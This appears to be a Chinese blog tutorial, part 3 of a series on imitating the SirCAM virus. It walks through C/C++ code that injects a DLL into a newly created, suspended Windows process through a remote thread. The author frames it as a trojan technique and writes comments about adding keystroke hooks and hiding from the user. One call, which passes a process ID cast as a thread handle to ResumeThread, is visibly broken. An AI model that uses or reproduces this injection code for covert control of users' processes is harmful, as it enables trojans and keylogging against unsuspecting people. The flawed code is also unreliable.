仿照SirCAM病毒控制EXE进程(3)

类别:VC语言 点击:0 评论:0 推荐:
 

 

仿照SirCAM病毒控制EXE进程(3)

 

Chapter

 

 

3

 

利用得到的用户进程信息插入DLL到进程地址空间

 

 

现在我们拿到了用户进程的进程ID、主线程ID,那么使用远程进程插入DLL技术的前提就满足了。

下面的实现步骤比较标准,大家应该熟悉吧,做特洛伊木马常用这个方法。

代码如下:

先在前面声明如下:

// ========== Special for InjectLib =============

#ifdef UNICODE

#define InjectLib InjectLibW

#else

#define InjectLib InjectLibA

#endif   // !UNICODE

// ========== Special for InjectLib =============

 

它们的实现如下:

//------------ My Function ---------------------

//

BOOL WINAPI InjectLibW(DWORD dwInProcessId, PCWSTR pszLibFile)

{

   BOOL bInjectSuccess = TRUE;

 

   //========================== 3.2 ==============================

   {

          PWSTR pszLibFileRemote  = NULL;

          HANDLE hCreatingProcess = NULL;

 

          __try

          {

                 // ============== 第一种方案 ===================

                 //

                 // 让新起的进程运行,其中creation flags不去设置CREATE_SUSPENDED,

                 // 即让进程立即运行。

                 // 我们的BeforExecute将保持跟踪,一直到该进程结束,

                 // 这样的好处是可以放入键盘钩子监视用户的按键动作,或者其他,

                 // 不好的是在任务管理器中可以看到我们的进程从而容易引起怀疑

                 //

                 // Wait until child process exits.

                 //WaitForSingleObject( pInfo.hProcess, INFINITE );

 

                 // Close process and thread handles.

                 //CloseHandle( pInfo.hProcess );

                 //CloseHandle( pInfo.hThread );

                 //

                 // ============== 第一种方案 ===================

 

 

                 // ============== 第二种方案 ===================

                 //

                 // 让新起的进程并不马上运行,这是通过设置creation flags为CREATE_SUSPENDED

                 // 来实现的。

                 // 即The primary thread of the new process is created in a suspended state,

                 // and does not run until the ResumeThread function is called.

                 //

                 // 然后我们往新建进程中插入DLL,用来作我们想做的事情!!

                 // 成功插入之后,我们结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!

                 //

                 //

                 // 下面我们使用远程线程来插入DLL

                 //

                 // 1:获得另一个进程的句柄:

                 hCreatingProcess =

                        OpenProcess(

                                       PROCESS_QUERY_INFORMATION |   // Required by Alpha

                                       PROCESS_CREATE_THREAD     |   // For CreateRemoteThread

                                       PROCESS_VM_OPERATION      |   // For VirtualAllocEx/VirtualFreeEx

                                       PROCESS_VM_WRITE,             // For WriteProcessMemory

                                       FALSE, dwInProcessId);        // dwInProcessId是标示我们创建

                                                                                          // 的进程的唯一进程号

                 if (hCreatingProcess == NULL)

                 {

                        bInjectSuccess = FALSE;

                        __leave;

                 }

 

         

                 int cch = 1 + lstrlenW(pszLibFile);

                 int cb  = cch * sizeof(WCHAR);

 

                 // 2:使用VirtualAllocEx函数,分配远程进程的地址空间中的内存:

                 pszLibFileRemote = (PWSTR)

                               VirtualAllocEx(hCreatingProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);

                 if (pszLibFileRemote == NULL)

                 {

                        bInjectSuccess = FALSE;

                        __leave;

                 }

 

                 // 3:使用WriteProcessMemory函数,将DLL的路径名拷贝到前面已经分配的内存中:

                 // Copy the DLL's pathname to the remote process's address space

                 if (!WriteProcessMemory(

                        hCreatingProcess,

                        pszLibFileRemote,

                        (PVOID) pszLibFile,

                        cb,

                        NULL)

                        )

                 {

                        bInjectSuccess = FALSE;

                        __leave;

                 }

 

                 // 4:使用GetProcAddress函数,获得LoadLibraryA或LoadLibraryW函数的

                 // 实地址(在Kernel32.dll中)

                 // Get the real address of LoadLibraryW in Kernel32.dll

                 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

                  GetProcAddress(

                  GetModuleHandle(TEXT("Kernel32")),

                  "LoadLibraryW");

                 if (pfnThreadRtn == NULL)

                 {

                        bInjectSuccess = FALSE;

                        __leave;

                 }

 

                 // 5.使用CreateRemoteThread函数,在远程进程中创建一个线程,

                 // 她调用正确的LoadLibrary函数,

                 // 为它传递第2个步骤中分配的内存的地址:

                 // Create a remote thread that calls LoadLibraryW(DLLPathname)

                 HANDLE hThread = CreateRemoteThread(

                        hCreatingProcess,

                        NULL,

                        0,

                        pfnThreadRtn,

                        pszLibFileRemote,

                        0,

                        NULL);

                 if (hThread == NULL)

                 {

                        bInjectSuccess = FALSE;

                        __leave;

                 }

 

                 // 6.这时,DLL已经被插入远程进程的地址空间中,

                 // 同时DLL的DllMain函数接收到一个DLL_PROCESS_ATTACH

                 // 通知,并且能够执行需要的代码。

                 // 直到现在为止,新建进程才开始运行:

                 ResumeThread((HANDLE)dwInProcessId);

                 // Wait for the remote thread to terminate(等不等其实无所谓的)

                 WaitForSingleObject(hThread, INFINITE);

                 // ============== 第二种方案 ===================

 

          }

          __finally

          {

              //// Free the remote memory that contained the DLL's pathname

                 //if (pszLibFileRemote != NULL)

                 //     VirtualFreeEx(hCreatingProcess, pszLibFileRemote, 0, MEM_RELEASE);

          }

         

   }

  

   return bInjectSuccess;

}

//

//------------ My Function ---------------------

 

//------------ My Function ---------------------

//  实际上是运行这个InjectLibA,再由它来调用InjectLibW的:

BOOL WINAPI InjectLibA(DWORD dwInProcessId, PCSTR pszLibFile) {

 

   // Allocate a (stack) buffer for the Unicode version of the pathname

   PWSTR pszLibFileW = (PWSTR)

      _alloca((lstrlenA(pszLibFile) + 1) * sizeof(WCHAR));

 

   // Convert the ANSI pathname to its Unicode equivalent

   wsprintfW(pszLibFileW, L"%S", pszLibFile);

 

   // Call the Unicode version of the function to actually do the work.

   return(InjectLibW(dwInProcessId, pszLibFileW));

}

//

//------------ My Function ---------------------

 

定义好了插入方法,在_tWinMain中调用如下:

   //========================== 3.2 ==============================

   {

          // ============== 第二种方案 ===================

          // 下面我们使用远程线程来插入DLL

          //

          TCHAR szLibFile[MAX_PATH];

          // 得到当前BeforeExecute.exe所在的路径:

          GetModuleFileName(NULL, szLibFile, sizeof(szLibFile));

          // InjectProcess.DLL是我们要嵌入进程的DLL名称

         _tcscpy(_tcsrchr(szLibFile, TEXT('\\')) + 1, TEXT("InjectProcess.DLL"));

 

          BOOL bInjectSucess = InjectLib(dwInProcessId, szLibFile);

          // ============== 第二种方案 ===================

   }

   //========================== 3.2 ==============================

 

好了,大功告成了,我们的名叫“InjectProcess.Dll”的DLL被注入进程,并立即调用,在进程其他线程运行之前。如果你的DllMain的DLL_PROCESS_ATTACH中出了异常而阻塞,那么进程后面的工作就无法展开,所以你一定要慎之又慎!

 

接下来,我们将制作这个InjectProcess.DLL。

请看下回分解。

                               -----To be continued------

本文地址:http://com.8s8s.com/it/it3168.htm